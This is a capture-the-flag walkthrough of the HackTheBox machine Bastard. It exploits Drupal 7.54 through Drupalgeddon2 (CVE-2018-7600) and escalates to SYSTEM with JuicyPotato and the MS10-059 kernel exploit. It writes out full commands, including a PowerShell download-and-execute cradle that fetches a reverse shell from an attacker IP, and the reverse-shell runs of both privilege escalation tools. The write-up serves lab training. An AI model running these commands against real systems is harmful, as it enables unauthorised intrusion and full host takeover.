In this Walkthrough, we will be hacking the machine Bastard from HackTheBox.

We will begin by finding only one interesting port open, which is port 80, and from the nmap scan, it was observed that this is an HTTP web server running Drupal 7. Enumeration of the web server reveals that the version is vulnerable to multiple exploits, most notably CVE-2018-7600 (Drupalgeddon2). After preforming a Google search and finding the right exploit for this program, command execution is achieved on the target host.

After getting command execution, we will see how to get a reverse shell by dropping a PowerShell script directly into memory. From there, a few manual enumeration commands quickly reveal two possible exploits that will elevate privileges to SYSTEM.

After identifying two privesc vectors: an outdated OS with no hotfixes (kernel exploit) and SeImpersonatePrivilege enabled on our current user (potato attack), we will do an example using both to get a SYSTEM shell two different ways.

Initial Scanning

— Nmap full TCP —

nmap -A -sV -sC -T4 10.10.10.9 -p- -oN full_tcp.nmap

— Gobuster —

gobuster dir -u http://10.10.10.9 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,old,bak,zip 80 > gobuster.txt

No results – runs way too slow.

— Nikto —

nikto -h http://10.10.10.9 > nikto.txt

The Nikto scan results show that robots.txt has a lot of interesting files and directories to look into.

Review of Open Ports

Only three ports open on this machine. Two of the ports (135 and 49154) are standard RPC ports and are generally not of much interest to us without SMB (445) being open as well. However, port 80 is definitely interesting.

Note that port 135 can still help our enumeration when running a tool like rpcclient to gather information about the host.

• Ports 135 / 49154 are open and hosting the RPC service.
• Port 80 is open and is hosting an HTTP web server – Microsoft IIS 7.5 – Drupal 7 – robots.txt has a lot of interesting disallowed directories and files.

We can also see that the OS fingerprint from the -A switch was not very successful at correctly identifying what OS type is running on this machine.

Since the standard RPC ports are typically not very interesting, I will start by enumerating the web server running on port 80.

Enumeration and Initial Exploit

After determining that the web server is the most interesting service running on this host, I will start by navigating to the main page in the browser to have a closer look.

Just as the nmap scan showed, the web server is running Drupal 7. Additionally, the main page is a login page.

I have Wappalyzer installed on my browser, so I checked that first when accessing the main page and gathered some version info.

Next, I decided to investigate the “disallow” pages in the robots.txt file since there were quite a few interesting ones in there.

However, the first file to catch my attention was CHANGELOG.TXT, which I know contains the logs for each update the service has had up to the currently installed version (top entry).

Perfect! I was able to find the exact version running, which is drupal 7.54. This will be useful when looking for exploits since it is more precise than just version 7.

I also noticed that this update is quite outdated, so I decided to pivot from the robots.txt file and check for publicly known exploits for drupal 7.54.

Finding the Right Exploit – CVE-2018-7600 (Drupalgeddon2)

Starting with searchsploit:

searchsploit drupal 7

This search produces a lot of results; however, most of the exploits that can be used against version 7.54 all say “Remote Code Execution”, which is great! That’s exactly what we want!

After seeing “Remote Code” in most of the results that were of interest, I refined the search, like so:

searchsploit drupal 7 remote code

It looks like there is a good amount of exploits that can be tested. Unfortunately, most of them are Metasploit modules with the exception of a few Python scripts. Overall, the Drupalgeddon exploits look the most promising here and likely a quick win.

Instead, I decided to check Google to see if I could narrow these results down a bit and find a better exploit.

The top 4 results all show the same vulnerability being exploited, which is CVE-2018-7600. These are all exploits from different authors and their interpretation of “Drupalgeddon2”.

 CVE-2018-7600, later nicknamed drupalgeddon2, results from insufficient input validation on the Drupal 7 Form API. Attacks against Drupalgeddon2 target AJAX requests composed of Drupal Form API’s renderable arrays, which are used to render a requested page through Drupal’s theming system. This vulnerability is particularly critical due to the fact that there is nothing mitigating access to the vulnerability: an anonymous user use this to execute code remotely without authentication.

After testing a few of the listed exploits, I found the bottom one by pimps to be the best one, which can be found here.

I copied the RAW script of the exploit and used it to make a file called drupal.py. Looking at the readme I noticed there is a -h option, so I ran that to see how the program works.

The script is nice and easy to use, all you need to do is supply a command to run and the target (website) and it will exploit the service and return the output from the command.

For example:

python3 ./drupal.py -c whoami http://10.10.10.9

Amazing! I successfully got command execution. Now I can utilize this to get a reverse shell on the target.

Getting a PowerShell Reverse Shell as nt authority\iusr

Alright, at this point I have a lot of options available to get a reverse shell. However, for this example I am going to use one of my favourite techniques and grab a PowerShell reverse shell using a script from the Nishang Collection of Scripts. The script I will be using is called Invoke-PowerShellTcp.ps1.

The technique I will use will download the script directly into memory and does NOT require downloading any files onto the victim!

After downloading a copy of this script onto my attacker machine, I copied the script into my working directory and then appended the following command to the bottom:

Edit the IP address to the IP of your attacker machine.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.17 -Port 443

By appending the command at the bottom of the script, now when I download this script into memory, it will auto trigger the hardcoded command and send a reverse shell to my attacker machine over port 443.

After copying the script to my working directory and appending the command at the bottom, I started an HTTP server from the same directory where the script is located to serve it up.

With the script ready to use and being served up over HTTP, I started a netcat listener to catch the shell over port 443. Finally, I used the following command to download and execute the script directly into memory:

python3 ./drupal.py -c "powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.16.17/Invoke-PowerShellTcp.ps1')" http://10.10.10.9/

After executing the prompt hangs… (good sign!)

Checking the HTTP server, I can see the victim checked in and downloaded the script.

And then back on the netcat listener, I got a shell as nt authority\iusr.

Post Exploitation Enumeration and Privilege Escalation

Once I obtained a shell on the victim host, I started to perform some manual enumeration, starting with some host information:

systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

This provides a lot of good information, including that the OS is a Windows Server 2008 R2 and had no hotfixes installed. That tells me this is definitely vulnerable to a kernel exploit! Additionally, this shows that the host is running on a 64-bit system, which is useful to know when bringing tools over.

Next, I gathered some information about the current users privileges with the following command:

whoami /priv

Seeing SeImpersonatePrivilege enabled is a HUGE finding! This means I will be able to utilize a potato attack to escalate to SYSTEM.

From two simple manual enumeration commands, I already found two sure ways to get a SYSTEM shell, so I decided to stop the manual enumeration at this point.

Time for exploitation!

Elevating Privileges to SYSTEM – Method 1: Juicy Potato

Since the conditions for a potato attack look promising, I decided to test that before testing a kernel exploit.

When using JuicyPotato.exe to abuse the SeImpersonatePrivilege, it will create a security token for the local SYSTEM account and then impersonate that token to execute a command that we specify.

Grab a copy of JuicyPotato.exe from this GitHub repo here – make sure to grab the 64-bit version of the executable.

To begin, I created a temp folder in C:\temp to work out of and then navigated to that directory.

Back on my attacker machine, I copied JuicyPotato.exe into my working directory where my HTTP server is still running out of. Then, I proceeded to download JuicyPotato.exe onto the victim.

(New-Object System.Net.WebClient).DownloadFile('http://10.10.16.17/JuicyPotato.exe', 'C:\temp\JuicyPotato.exe')

With Juicy Potato on the victim now and the HTTP server still running on my attacker machine with the Nishang PowerShell script, I decided to utilize that to get a SYSTEM shell.

For this example, instead of using an executable with Juicy Potato to get a reverse shell, I will instead use a batch script to download the Nishang PowerShell script directly into memory again, except this time it will return a SYSTEM shell.

First, I need to craft my batch script, which will simply be a single command (same command used to get the current shell).

On the attacker machine, use the following command to craft a batch script:

echo "powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.16.17/Invoke-PowerShellTcp.ps1')" > tcp443.bat

Then download the batch script onto the victim.

Perfect! Everything is setup and ready to exploit.

First, I started a listener on my attacker machine over port 443.

Next, I ran the following command to use Juicy Potato to execute the batch script, which will download the Nishang script into memory and send a reverse shell.

C:\temp\JuicyPotato.exe -l 443 -p C:\temp\tcp443.bat -t *

Unfortunately, the exploit failed! However, there is a workaround that requires testing some different CLSIDs (the numbers in the curly braces in the above snip).

The exploit publisher was kind enough to also include a list of CLSIDs that can be tested if the default one fails to work. The list of CLSIDs can be found here.

Generally, I locate the BITS services first, as those are usually the most successful, then if those don’t work, I do a top down approach. However, for this I decided to test the top one first…

C:\temp\JuicyPotato.exe -l 443 -p C:\temp\tcp443.bat -t * -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"

And back on my listener, I got a SYSTEM shell!

To learn more about potato attacks and how to use them to abuse SeImpersonatePrivilege, check out my post on the topic here.

Elevating Privileges to SYSTEM – Method 2: Kernel Exploit (MS10-059)

After identifying that this host is running Windows Server 2008 and has no hotfixes installed, there should be A LOT of kernel exploits that can be used to get a SYSTEM shell.

To check for kernel exploits, I used a tool called Windows-Exploit-Suggester-2, which can be found at this GitHub repo here.

This as well as the original exploit suggester are out of date now. The most updated version of this program is now called WES-NG and can be found here.

To use this tool, I ran the command systeminfo on the victim and then copied the entire output and then pasting it into a TXT file on my attacker machine.

Once a file with the system info has been created, I used the following command (still on attacker machine) to start pulling potential kernel exploits for this machine:

./windows-exploit-suggester.py --database 2021-04-16-mssb.xls --systeminfo /opt/hackthebox/Bastard/systeminfobastard.txt

Typically at this point, I like to test from bottom up; however, a good known kernel exploit (MS10-059) is on the list, so I will start there.

Navigating to the following page, there are a lot of precompiled kernel exploits. However, we want to test MS10-059 since it can be used from a reverse shell (a lot of the exploits require GUI).

After downloading a copy of the precompiled binary, I move it to my working directory and then downloaded it onto the victim.

After downloading a copy of the precompiled binary, I move it to my working directory and then downloaded it onto the victim.

To check how to use this exploit, I simply just tried to run it.

This says that two parameters need to be added to the command: IP address and port number.

Back on my attacker machine, I started a netcat listener on port 443 and then came back to the victim shell and ran the following command:

.\MS10-059.exe 10.10.16.17 443

After executing the command, the prompt hangs and it looks like nothing happened.

However, checking back on the listener, I was able to get a SYSTEM shell!

If you are interested in learning more about kernel exploits, I have two posts on how to exploit them, covering some of the older and newer ones.

Flags